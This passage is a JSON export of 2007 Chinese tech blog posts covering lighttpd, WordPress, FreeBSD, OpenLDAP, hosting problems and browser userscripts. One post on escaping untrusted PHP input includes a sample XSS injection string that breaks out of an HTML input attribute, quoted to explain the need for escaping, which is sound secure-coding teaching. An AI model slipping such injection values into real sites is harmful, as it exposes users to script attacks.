    "body": "從 <a href=\"http://photomatt.net/\" rel=\"tag\">Matt Mullenweg</a> 的 Blog 上看到的 WordPress Plugin，以往必須寫在 <code>.htaccess</code> 寫 mod_rewrite 的工作，現在可以用 <a href=\"http://urbangiraffe.com/plugins/redirection/\" rel=\"tag\">Redirection</a> 這套 Plugin 設定。\r\n\r\n在網頁上有個五分鐘的影片可以看，看完以後就大致知道要怎麼操作，除了一般的一對一對應外，還可以設定 Regular Expression (像是把 <code>/blog/plugins/(.*)</code> 重導到 <code>/plugins/$1</code>)，甚至還可以做 proxy (影片中的 <a href=\"http://microsoft.com/\" rel=\"tag\">microsoft.com</a>)。另外還有一些奇怪的功能 (像是可以設定 /fun 指到隨機的頁面 XD)，其實看起來還蠻有趣的...\r\n\r\n可是實際會需要這個用途的人到底有多少呢... @_@",
    "title": "Redirection Plugin"
  },
  {
    "id": "1290",
    "body": "我在 <a href=\"http://blog.gslin.org/archives/2007/08/01/1257/\">Lighttpd 1.4.16 的 404 Handler 行為改變</a> 提到的情況被視為是 bug，在 1.4.17 修正了：<a href=\"http://www.lighttpd.net/2007/8/29/1-4-17-for-the-sake-of-the-server-error-handler-404\">1.4.17 - for the sake of the server.error-handler-404</a>。\r\n\r\n看起來又修正了一堆東西，看起來有些還蠻重要的... 不過，lighttpd 1.5 看起來還好遙遠啊：<a href=\"http://trac.lighttpd.net/trac/query?status=new&amp;status=assigned&amp;status=reopened&amp;milestone=1.5.0\">1.5.0 的 unclosed ticket</a>。",
    "title": "lighttpd 1.4.17"
  },
  {
    "id": "1291",
    "body": "這陣子抓 bug 的時候發現連自己都要想半天，還是整理起來好了... 假設 $v 是未經過濾的變數，要放到不同地方要做不同的處理：\r\n<ul>\r\n\t<li>MySQL Statement：這已經是標準了，<code>mysql_escape_string($v)</code> 或是 <code>mysql_real_escape_string($v)</code>，或是改用 prepare + execute 的模式。</li>\r\n\t<li>放在 HTML Form 的 input 元素裡面：要用 <code>htmlentities($v, ENT_QUOTES)</code> 過濾後用 double-quote 包起來，原因是 $v 可以是 <code>\"&gt;&lt;script&gt; ... (一堆邪惡 js 程式碼) ... &lt;/script&gt;\"</code>，這是一種 XSS 攻擊。</li>\r\n\t<li>放在網址的 GET 參數裡：用 <code>urlencode($v)</code>。</li>\r\n\t<li>呼叫外部程式帶入參數時 (像是 <code>system()</code> 呼叫)：用 <code>escapeshellarg($v)</code>。</li>\r\n</ul>",
    "title": "變數在 xx 的處理方式"
  },
  {
    "id": "1292",
    "body": "在 <a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET</a> 上看到交大會發 <a href=\"https://www.google.com/a/\" rel=\"tag\">Google Apps</a> 帳號給新生的新聞：<a href=\"http://taiwan.cnet.com/news/software/0,2000064574,20123007,00.htm\">本地校園對Google Apps感興趣</a>。\r\n\r\n實際會使用 <a href=\"https://www.google.com/a/\" rel=\"tag\">Google Apps</a> 的原因嘛... (聳肩)\r\n\r\n<strong>Update</strong>：thanks for tyson，還有 <a href=\"http://mail.google.com/a/pccu.edu.tw/\" rel=\"tag\">pccu.edu.tw</a>。",
    "title": "交大新生採用 Google Apps"
  },
  {
    "id": "1293",
    "body": "<a href=\"http://www.python.org/download/releases/3.0/\" rel=\"tag\">Python 3.0a1</a> (Python 3000 規格的實做) 出版了。\r\n\r\n在 <a href=\"http://docs.python.org/dev/3.0/whatsnew/3.0.html\" rel=\"tag\">What’s New in Python 3.0</a> 可以看到與 2.6 的差別 (還有一堆地方放 <code>XXX</code> 等後來補上...)，另外 3.0 的文件在 <a href=\"http://docs.python.org/dev/3.0/\" rel=\"tag\">Python Documentation</a>，最重要的是文件的搜尋啊啊啊... (在 <a href=\"http://docs.python.org/\" rel=\"tag\">docs.python.org</a> 用的是 Google 的 <code>site:</code> 搜尋，不是說不好，只是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的介面對於寫程式找資料來說實在不舒服...)\r\n\r\n不過，還是沒看到類似於 <a href=\"http://www.cpan.org/\" rel=\"tag\">CPAN</a> 架構的搜尋站台，像是 <a href=\"http://search.cpan.org/\" rel=\"tag\">search.cpan.org</a> 可以在搜尋完後先看到模組的文件，直接看怎麼使用，再決定要不要安裝。",
    "title": "Python 3.0 測試版"
  },
  {
    "id": "1294",
    "body": "把 FON+ 裝起來以後發現是個地雷：還是不能用 UPnP，加上 Port Forwarding 完全失效，而且還不知道會不會有熱當的情況，目前除了一個 LAN port 以外，看不出來有另外的功能。\r\n\r\n看起來還是得先把 FON 拿出來跑，之後等 FON+ 出新版韌體後再決定要不要用...",
    "title": "FON+：地雷..."
  },
  {
    "id": "1295",
    "body": "水準變差了。\r\n\r\n當天 (8/11) 跟 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a>、<a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林</a>、<a href=\"http://notexist.wordpress.com/\" rel=\"tag\">NotExist</a> 吃了以後就決定要寫，結果想到要寫的時候手邊總是沒有電腦 + 網路，剛剛才突然想起來，趕快寫下來不然又會忘記...\r\n<ul>\r\n\t<li>第一個是環境，我們是吃星期六中午，剛開店就進去吃，但是可以感覺到地板沒有拖過而髒髒的感覺。</li>\r\n\t<li>第二個是肉，肉片一夾就會裂開，我不知道這是好還是壞，但是這樣很不方便。</li>\r\n</ul>\r\n可能會再找時間去吃一次看看到底是怎麼樣吧。",
    "title": "貳兩燒肉 (二兩燒肉)"
  },
  {
    "id": "1296",
    "body": "<a href=\"http://www.zooomr.com/photos/38183@Z01/3125851/\"><img src=\"http://static.zooomr.com/images/3125851_b6cc4b48e7.jpg\" alt=\"\" /></a>\r\n\r\n註冊 MSN Live 帳號時發現 <a href=\"http://zh.wikipedia.org/wiki/CAPTCHA\" rel=\"tag\">CAPTCHA</a> 第八個字被幹掉了 (大概是最右邊吧)，只好按 F5 重來...",
    "title": "MSN Live 註冊的 CAPTCHA"
  },
  {
    "id": "1297",
    "body": "早上八點睡下去，十一點被打錯電話 (手機) 的人吵醒，結果睡醒的時候發現已經是晚上八點了 @_@\r\n\r\n來找「早餐」吃...",
    "title": "睡... (boom)"
  },
  {
    "id": "1298",
    "body": "<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 居然記得 <a href=\"http://www.bittorrent.org/\" rel=\"tag\">Bittorrent</a> 這個 Protocol... 把 <a href=\"http://en.wikipedia.org/wiki/Peer_exchange\" rel=\"tag\">Peer Exchange</a> 的功能做出來了：<a href=\"http://torrentfreak.com/opera-adds-bittorrent-peer-exchange-070904/\">Opera 9.50 Kestrel Adds BitTorrent Peer Exchange</a>。\r\n\r\n這個功能可以在取得少數節點的連線後，彼此互相交換其他節點資訊。一方面可以減少對 server 的負擔 (server 可以不用送那麼多節點)，二來是起步的速度會更快。\r\n\r\n據說有人生出 <a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">rtorrent</a> 支援 <a href=\"http://en.wikipedia.org/wiki/Peer_exchange\" rel=\"tag\">Peer Exchange</a> 的 patch (不確定是對 <a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">libtorrent</a> 還是對 <a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">rtorrent</a>)，不過 mailing list 上後來就沒看到消息了，也一直沒看到作者出來進一步表態... (果然還是得跑 <a href=\"http://www.winehq.org/\" rel=\"tag\">Wine</a> 嗎 :/)",
    "title": "Opera 9.5 Alpha"
  },
  {
    "id": "1299",
    "body": "<a href=\"http://www.zooomr.com/photos/38183@Z01/3155891/\"><img src=\"http://static.zooomr.com/images/3155891_87b66fbd19.jpg\" alt=\"\" /></a>\r\n\r\n抓了 <a href=\"http://www.vmware.com/products/player/\" rel=\"tag\">VMware Player</a> 下來後在裡面安裝 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 6.2，結果發現 <a href=\"http://www.vmware.com/products/player/\" rel=\"tag\">VMware Player</a> 所提供的 SMP 還是有問題，在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 內打開後會有偶發的 core dump 現象，於是到 /boot/loader.conf 裡面設定 <code>kern.smp.disabled=\"1\"</code>，強制把 SMP 關掉。\r\n\r\n跑了一陣子發現 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的時鐘不準，於是用 <code>hint.apic.0.disabled=\"1\"</code> 把 apic 關掉。從 6.2-RELEASE 升級到 6.2-STABLE 後發現沒開 apic 又會有另外的問題 (「時間漂移現象」這個詞忘了聽誰說的，我覺得還蠻傳神的啊...)，於是把 apic 開回來以後又正常了。\r\n\r\n想玩看看 <a href=\"http://matt.ucc.asn.au/dropbear/dropbear.html\" rel=\"tag\">Dropbear</a>，裝的時候發現還蠻簡單的，沒什麼可以設定的地方，所以隨便弄一弄就跑起來了。\r\n\r\n不過，因為我有把 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 的預設值看過後調整過，我把其中一些長度不夠，或是我不喜歡的方法都設定到警告去 (像是 <a href=\"http://en.wikipedia.org/wiki/Triple_DES\" rel=\"tag\">3DES</a>)，連上去以後發現 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 警告我對方使用的是 Diffie-Hellman Group 1 (只有 768bits，被我丟進警告區)，為了測試只好調回正常區跑看看...\r\n\r\n再來是發現因為 <a href=\"http://matt.ucc.asn.au/dropbear/dropbear.html\" rel=\"tag\">Dropbear</a> 沒有透過 login(1) 登入，所以 <code>/etc/login.conf</code> 裡的設定 (像是 <code>PATH</code> 這個環境變數) 都沒有設定上去，只好暫時在登入後自己跑一次 <code>login gslin</code> 解決，反正會掛 screen...\r\n\r\n其他倒是還沒遇到什麼大問題，<a href=\"http://matt.ucc.asn.au/dropbear/dropbear.html\" rel=\"tag\">Dropbear</a> 針對 Embedded System 設計的目標算是不錯，該有的都有了，預設值以 Embedded System 的環境為主，有機會再看看有沒有其它好玩的功能。",
    "title": "VMware 與 Dropbear 小記"
  },
  {
    "id": "1300",
    "body": "在 <a href=\"http://wordpress.com/blog/2007/09/06/august-wrap-up-2/\">August Wrap-up</a> 這篇提到蠻多數字，不過讓我想要紀錄下來的部份是：\r\n<blockquote>WordPress.com is now using about 260 megabits per second of bandwidth average, with spikes as high as 820 mbits earlier today from the Apple Gizmodo liveblog. (Which did up to 941 requests per second all by itself during the keynote.) So last month we used about 80 terabytes of bandwidth.</blockquote>\r\n目前 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 的機器大多數在 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 與 <a href=\"http://www.serverbeach.com/\" rel=\"tag\">ServerBeach</a>，可以粗略估出網路部份的成本。",
    "title": "WordPress.com 的一些數據"
  },
  {
    "id": "1301",
    "body": "看到 <a href=\"http://ja.wikipedia.org/wiki/%E8%8D%92%E6%9C%A8%E9%A3%9B%E5%91%82%E5%BD%A6\" rel=\"tag\">荒木飛呂彦</a> (《<a href=\"http://zh.wikipedia.org/wiki/JoJo%E7%9A%84%E5%A5%87%E5%A6%99%E5%86%92%E9%99%A9\" rel=\"tag\">JOJO的奇妙冒險</a>》的作者) 所畫的 \"SCRAPPER\" 登上 2007/09/07 這期的 <a href=\"http://www.cell.com/\" rel=\"tag\">Cell</a> 期刊封面：<a href=\"http://blog.yam.com/dormcat/article/11668499\">荒木飛呂彦為 Cell 繪製封面 / Hirohiko Araki drew cover art for Cell</a>。\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/3168898/\"><img src=\"http://static.zooomr.com/images/3168898_e62871bde7_o.gif\" alt=\"\" /></a>\r\n\r\n突然想到「<a href=\"http://www.cuhkacs.org/~alanlee/blog/archives/2007/07/syokotan_araki.php\" rel=\"tag\">不老的荒木飛呂彦</a>」登上 <a href=\"http://www.cell.com/\" rel=\"tag\">Cell</a> 雜誌，這是故意的嗎 XDDD",
    "title": "Cell 雜誌封面"
  },
  {
    "id": "1302",
    "body": "因為 <a href=\"http://blog.ijliao.info/archives/2007/08/06/3230/\">依林姊姊去印度</a>，機器沒人愛就開始天天當機... 只好跟 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 不斷的開 ticket 殺來殺去...\r\n\r\n這三天總共開了四個 ticket：\r\n<ul>\r\n\t<li>[#LTRBTR #BLP-xxxxx-xxx]: Cannot access server：其實在這個 ticket 的前幾天就一直當，這個 ticket 是請他們重開機器處理，另外在 ticket 裡提到 mbmon 跑出來的溫度比以前高。</li>\r\n\t<li>[#LTTR #HMT-xxxxx-xxx]: Our server's temperature is a little high：這個 ticket 是又當掉，請他們處理，順便再提一次溫度的問題，請他們看一下是不是有風扇故障，機房的人員進去看以後回信給我：「The fans are all working correctly, however there was an obstruction on the vent on the side of the case. I have moved the obstruction and the temp should return to normal.」，於是我就暫時先丟著。</li>\r\n\t<li>[#LTTR #BIX-xxxxx-xxx]: Our server's temperature is higher than before：又當了，所以又開了一個 ticket，這次我在 ticket 裡面主動同意他們停機將機器拆開來檢查看看是不是 CPU fan 有問題或其他之類的，回答是：「I have taken a look at your server, and there were some power cables directly over your CPU fan. I not sure if the power cables were making contract. However I have moved them hopefully this will lowing your CPU temperature.」，他把電源線移開後我繼續觀察。</li>\r\n\t<li>[#LTTR #BKM-xxxxx-xxxxx]: Server crash again：又當了，我 ticket 裡面請他們直接看看硬體有沒有問題。在信件往返中間他們提出更換主機板 (換行的部份我拿掉了：「I'd like to replace your server's chassis with a new one. What time/day would be best for you? Please advise. Thank you」)，我同意他們隨時都可以 shutdown 我們的主機後機器大約離線了一個小時 (「You can shut down the server to replace chassis anytime, thank you.」)，之後他們說再開機的時候發現網路卡的部份起不來 (「Your server will be brought down momentarily to do a chassis swap, please stand by.」、「I am escalating your ticket to level 2 for further investigation. I was able to do chassis swap, but now I am having trouble with the eth0.  Please stand by.」)，目前看起來起來了。</li>\r\n</ul>\r\n目前繼續看機器的情況。",
    "title": "在 Layeredtech 的主機問題"
  },
  {
    "id": "1303",
    "body": "在 mailing list 上看到 <a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">libtorrent</a> 0.11.8 與 <a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">rtorrent</a> 0.7.8 釋出的消息：<a href=\"http://rakshasa.no/pipermail/libtorrent-devel/2007-September/001241.html\" rel=\"tag\">[Libtorrent-devel] LibTorrent 0.11.8 and rTorrent 0.7.8 released</a>。\r\n\r\n看了一下發現這個版本多了 <a href=\"http://en.wikipedia.org/wiki/Peer_exchange\" rel=\"tag\">Peer Exchange</a> 的支援：\r\n<blockquote>* Added Peer Exchange support, enable with the \"peer_exchange=yes\" option. Patch by Josef Drexler.</blockquote>\r\n幹得好！這樣 <a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">libtorrent</a> 主要的協定就只缺 <a href=\"http://en.wikipedia.org/wiki/Distributed_hash_table\" rel=\"tag\">DHT</a> 了，趕緊 send-pr 進 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 更新...",
    "title": "libtorrent 0.11.8 支援 Peer Exchange"
  },
  {
    "id": "1304",
    "body": "安全性更新：<a href=\"http://wordpress.org/development/2007/09/wordpress-223/\" rel=\"tag\">WordPress 2.2.3</a>，看起來指的應該是 <a href=\"http://trac.wordpress.org/ticket/4720\" rel=\"tag\">Ticket #4720 (closed defect: fixed)</a> 這個吧。",
    "title": "WordPress 2.2.3：安全性更新"
  },
  {
    "id": "1305",
    "body": "收到這封信，不知道是不是因為這兩天 ticket 猛開的關係排進優先升級的名單中...\r\n<blockquote>As you may know, Layered Technologies (LT) has been preparing to launch a new FREE \"Remote Reboot\" feature, which will enable you to reboot your server, as well as Power ON/OFF directly from Encompass (LT’s NEW client portal). This will allow you to Reboot or Power On/Off your server without LT support.\r\n\r\nThe free upgrade installations are scheduled to begin within the next few weeks and continue for several weeks. Your servers listed below are scheduled for this FREE upgrade. If you have servers other than those listed below, you may receive multiple notifications and installation dates since we are installing this upgrade in segments throughout our Data Centers.</blockquote>\r\n這對於一般情況的 server crash 來說還蠻方便的...",
    "title": "Layeredtech 將提供介面重開的服務..."
  },
  {
    "id": "1306",
    "body": "從首頁上的會員登入進去，用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 照登入後會被導到 <a href=\"https://member.ruten.com.tw/\" rel=\"tag\">https://member.ruten.com.tw/</a> 這頁，不過現在頁面上出現的是 \"test by Aaron\"：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/3180841/\"><img src=\"http://static.zooomr.com/images/3180841_150846749b.jpg\" alt=\"\" /></a>\r\n\r\n圖片是 9/8 下午兩點左右抓的，現在是 9/9 凌晨四點，還沒有恢復。\r\n\r\n<strong>Update</strong>：結果現在變成 403 Forbidden... (這是使用者登入後導回的頁面，反正先隨便處理？至少不要是 test by xxx 之類的？)\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/3197775/\"><img src=\"http://static.zooomr.com/images/3197775_7eb7ed5767.jpg\" alt=\"\" /></a>",
    "title": "露天拍賣登入後的頁面"
  },
  {
    "id": "1307",
    "body": "官方網站上釋出 <a href=\"http://www.lighttpd.net/2007/9/9/1-4-18-speeding-up-a-bit\" rel=\"tag\">lighttpd 1.4.18</a>，屬於安全性更新，依照列出來的修正部份，看起來是這條：\r\n<ul>\r\n\t<li>fixed FastCGI header overrun in mod_fastcgi (reported by mattias@secweb.se)</li>\r\n</ul>\r\n詳細的說明在 <a href=\"http://secweb.se/en/advisories/lighttpd-fastcgi-remote-vulnerability/\" rel=\"tag\">Lighttpd FastCGI Remote Vulnerability</a> 這裡有提到。\r\n\r\n<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上使用 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">ports</a> 的使用者只要先把 ports tree 更新，看一下 <code>/usr/ports/www/lighttpd</code> 下的 <code>Makefile</code> 更新成 1.4.18 了沒，如果還沒的話，將 <code>distfiles</code> 砍掉，並把 <code>Makefile</code> 裡的 1.4.17 改成 1.4.18 後手動更新：\r\n<blockquote># make fetch\r\n# make makesum\r\n# make deinstall\r\n# make clean install clean</blockquote>\r\n然後將 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 重跑就可以了：\r\n<blockquote># /usr/local/etc/rc.d/lighttpd restart</blockquote>",
    "title": "lighttpd 1.4.18 安全性更新"
  },
  {
    "id": "1308",
    "body": "雖然在 <a href=\"http://jquery.com/blog/\" rel=\"tag\">官方的 Blog</a> 上還沒公佈，不過因為剛好在用 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 寫 code，所以發現官方網站上已經更新了：<a href=\"http://docs.jquery.com/Release:jQuery_1.2\" rel=\"tag\">Release:jQuery 1.2</a>。\r\n\r\n<strong>Update</strong>：官方網站更新了，<a href=\"http://jquery.com/blog/2007/09/10/jquery-12-jqueryextendawesome/\">jQuery 1.2: jQuery.extend(\"Awesome\")</a>。\r\n\r\n檔案愈來愈大了，這個版本有 26k (1.1.4 只有 21k)，gzip 壓縮過後是 14k。",
    "title": "jQuery 1.2"
  },
  {
    "id": "1309",
    "body": "剛剛才突然想到，從 <a href=\"http://www.server4sale.com/\" rel=\"tag\">Server4sale</a> 的主機搬到 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 後就忘了設定 <a href=\"http://httpd.apache.org/docs/2.2/mod/mod_deflate.html\" rel=\"tag\">mod_deflate</a>，網路上直接找資料抄設定用：<a href=\"http://yblog.org/archive/index.php/5318\">啟用Apache2 的mod_deflate來壓縮網頁提高傳輸效能</a>。\r\n\r\n另外我自己的 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 也把 Gzip Support 打開了 (之前發現 Gzip 打開會有問題，所以一直是關著的)，頁面的讀取速度應該會比以前快一些吧？",
    "title": "啟用 mod_deflate 及 WordPress Gzip 支援"
  },
  {
    "id": "1310",
    "body": "事前說明：在發表這篇文章時我是 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 的技術顧問，<a href=\"http://www.xuite.net/\" rel=\"tag\">Xuite</a> 的網誌服務屬於 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 的競爭對手。\r\n\r\n我一直覺得 <a href=\"http://blog.xuite.net/\" rel=\"tag\">Xuite Blog</a> 的 Comment 看了很累，因為是由新到舊出現，所以閱讀時的順序必須是從下到上，但每個留言又是從上到下，於是眼睛要不要的跳來跳去...\r\n\r\n於是，我用 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/748\" rel=\"tag\">Greasemonkey</a> 寫了一個 script，將 <a href=\"http://blog.xuite.net/\" rel=\"tag\">Xuite Blog</a> 的 comment 反過來排，由舊排到新：<a href=\"http://userscripts.org/scripts/show/12189\" rel=\"tag\">Xuite Blog Comment Sort</a>。\r\n\r\n寫這個 script 的時候才發現 <a href=\"http://blog.xuite.net/\" rel=\"tag\">Xuite Blog</a> 有用 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a>，所以直接套進來用就可以了 :p",
    "title": "將 Xuite 的 comment 由舊排到新"
  },
  {
    "id": "1311",
    "body": "當 <a href=\"http://msdn2.microsoft.com/en-us/library/ms533897.aspx\" rel=\"tag\">innerHTML</a> 還是太慢的時候的解法：<a href=\"http://blog.stevenlevithan.com/archives/faster-than-innerhtml\">When innerHTML isn’t Fast Enough...</a>。\r\n\r\n在作者的文章裡面，你可以看到在非常極端的例子裡，用改寫過的 replaceHtml() 在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0.0.6 裡 destroy 與 replace 的速度各快了 473 倍以及 50 倍。而在 <a href=\"http://www.apple.com/safari/\" rel=\"tag\">Safari</a> 3.0.3 beta 上則是 create 100 倍，replace 50 倍。\r\n\r\n在 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 的 <a href=\"http://groups.google.com/group/jquery-en/\" rel=\"tag\">Google Groups</a> 上面可以看到兩個作者 (<a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 的作者以及上面那篇文章的作者) 討論把這個功能放入 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 的一些問題：<a href=\"http://groups.google.com/group/jquery-en/browse_thread/thread/446fdd243f039527\">Faster then innerHTML</a>。",
    "title": "在 non-IE 瀏覽器修改 innerHTML 的速度"
  },
  {
    "id": "1313",
    "body": "<strong>事前說明</strong>：在發表這篇文章時我是 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 的技術顧問，<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a>的相簿服務屬於 <a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 的競爭對手。\r\n\r\n<strong>Update</strong> 2008-07-17：我已經修改 em:maxVersion 改到 3.0.*，所以 Firefox 3 應該可以繼續用 orz\r\n\r\n<strong>Update</strong>：我利用 <a href=\"http://arantius.com/misc/greasemonkey/script-compiler\" rel=\"tag\">User Script Compiler</a> 產生 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> Extension，如此一來就不需要裝 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/748\" rel=\"tag\">Greasemonkey</a> 就可以使用展開程式：<a href=\"http://files.gslin.org/Software/wretchalbumexpander-0.1.xpi\" rel=\"tag\">wretchalbumexpander-0.1.xpi</a>，你可以抓下來以後先放到桌面上，然後再把檔案的圖示拉進 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a>，這時候 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 就會問你要不要安裝。\r\n\r\n我用 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/748\" rel=\"tag\">Greasemonkey</a> 對<a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a>寫了一個圖片展開程式：<a href=\"http://userscripts.org/scripts/show/12267\" rel=\"tag\">Wretch Album Expander</a>，程式碼可以在 <a href=\"http://userscripts.org/scripts/review/12267\" rel=\"tag\">Source for \"Wretch Album Expander\"</a> 這裡看到。\r\n\r\n以彎彎的相簿為例子，這是沒有使用前的圖，以及使用後的圖：(請分別點入看原始大小)\r\n\r\n<a href=\"http://www.zooomr.com/z/photos/zoom/3250612/size-32/\"><img src=\"http://static.zooomr.com/images/3250612_9418429e66.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.zooomr.com/z/photos/zoom/3250607/size-32/\" rel=\"tag\"><img src=\"http://static.zooomr.com/images/3250607_de9719900c.jpg\" alt=\"\" /></a>",
    "title": "無名小站的圖片展開程式"
  },
  {
    "id": "1314",
    "body": "紀錄一下 <a href=\"http://www.openldap.org/\" rel=\"tag\">OpenLDAP</a> 在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上的安裝及設定流程。\r\n\r\n先透過 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">ports</a> 安裝 <a href=\"http://www.freshports.org/net/openldap23-server/\" rel=\"tag\">openldap23-server</a>：\r\n<blockquote><code># cd /usr/ports/net/openldap23-server\r\n# make clean install clean</code></blockquote>\r\n裝完後設定 <code>/usr/local/etc/openldap/slapd.conf</code>，主要要改的幾個部份是：\r\n<ul>\r\n\t<li>開頭的 <code>include</code> 部份：預設只有 <code>/usr/local/etc/openldap/schema/core.schema</code>，如果需要其他的 <code>objectClass</code> 則需要把 <code>cosine.schema</code> 與 <code>inetorgperson.schema</code> 也寫進去。</li>\r\n\t<li>下方的 <code>suffix</code> 與 <code>rootdn</code>，以及 <code>rootpw</code>。其中 <code>rootpw</code> 可以用 <code>slappasswd</code> 產生密碼。</li>\r\n</ul>\r\n改完後要設定開機時跑起 <code>slapd</code>，這個部份要在 <code>/etc/rc.conf</code> 裡新增：\r\n<blockquote><code>slapd_enable=\"YES\"</code></blockquote>\r\n接下來用 <code>/usr/local/etc/rc.d/slapd start</code> 將 <code>slapd</code> 跑起來。用 <code>ps -U ldap</code> 應該可以看到 <code>slapd</code> process 在跑：\r\n<blockquote><code>25290 ?? Is 0:00.04 /usr/local/libexec/slapd -u ldap -g ldap</code></blockquote>\r\n以上就是 server 的架設。\r\n\r\n接下來講 client 的部份。先是修改 <code>/usr/local/etc/openldap/ldap.conf</code>：\r\n<blockquote><code>BASE dc=example,dc=org\r\nURI ldap://ldap.example.org/</code></blockquote>\r\n用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找文件的時候會發現大家都是建議用 domain name 當作 <code>BASE</code>，但其實並沒有強迫要用 domain name，只是 domain name 剛好是全世界獨一無二的 (<small>這是粗略的說法</small>)，所以用 domain name 是慣例，以後接手的人也會比較容易上手。\r\n\r\n將 server 跑起來，並且將 client 改完後，直接打 <code>ldapsearch</code> 應該就會看到沒有任何結果 (最後一行應該是 <code>#numEntries: 0</code>)，這代表 server 應該沒什麼問題，接下來就是亂塞一些資料進去，這部份網路上大多數的文件都有提到 <code>ldapadd</code>、<code>ldapdelete</code>、<code>ldapmodify</code> 的用法以及 ldif 的寫法，這些不太會因為在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上就有不同的格式，可以看其他提到 <a href=\"http://www.openldap.org/\" rel=\"tag\">OpenLDAP</a> 2.3 的網頁。",
    "title": "OpenLDAP 2.3 在 FreeBSD 上的架設"
  },
  {
    "id": "1315",
    "body": "在 <a href=\"http://www.bsdchat.com/\" rel=\"tag\">#bsdchat</a> 上看到 <a href=\"http://mjhsieh.blogspot.com/\" rel=\"tag\">mjhsieh</a> 貼了這個 link：<a href=\"http://undeadly.org/cgi?action=article&sid=20070915195203\">BSD Licensed PCC Compiler Imported</a>，<a href=\"http://www.openbsd.org/\" rel=\"tag\">OpenBSD</a> 的人把 <a href=\"http://en.wikipedia.org/wiki/Portable_C_Compiler\" rel=\"tag\">Portable C Compiler</a> (<a href=\"http://en.wikipedia.org/wiki/BSD_licenses\" rel=\"tag\">BSD license</a>) 放到 CVS repository 了。\r\n\r\n當 <a href=\"http://gcc.gnu.org/\" rel=\"tag\">GCC</a> 決定要走向 <a href=\"http://gplv3.fsf.org/\" rel=\"tag\">GPLv3</a> 後，就可以預測到下面這幾件事情一定會有一件發生：\r\n<ul>\r\n\t<li>由 <a href=\"http://gcc.gnu.org/\" rel=\"tag\">GCC</a> 4.2.1 (以 <a href=\"http://www.fsf.org/licensing/licenses/info/GPLv2.html\" rel=\"tag\">GPLv2</a> 發佈的最後一個版本) 發展的 C Compiler，維持 <a href=\"http://www.fsf.org/licensing/licenses/info/GPLv2.html\" rel=\"tag\">GPLv2</a>。</li>\r\n\t<li>重寫，或是改寫一個 C Compiler，以比 <a href=\"http://www.fsf.org/licensing/licenses/info/GPLv2.html\" rel=\"tag\">GPLv2</a> 更自由的 license 釋出。</li>\r\n</ul>\r\n前者在 <a href=\"http://gcc.gnu.org/\" rel=\"tag\">GCC</a> 決定轉為 <a href=\"http://gplv3.fsf.org/\" rel=\"tag\">GPLv3</a> 的時候就有人說要做，但是一直沒看到進一步的消息。後者則是 <a href=\"http://www.netbsd.org/people/pages/ragge.html\" rel=\"tag\">Anders Magnusson</a> (<a href=\"http://www.netbsd.org/\" rel=\"tag\">NetBSD</a> maintainer) 決定拿 <a href=\"http://en.wikipedia.org/wiki/Portable_C_Compiler\" rel=\"tag\">Portable C Compiler</a> 改，結果 <a href=\"http://www.drijf.net/\" rel=\"tag\">Otto Moerbeek</a> 把這份 code 塞進 <a href=\"http://www.openbsd.org/\" rel=\"tag\">OpenBSD</a> 的 CVS repository 裡。\r\n\r\n看 CVS log 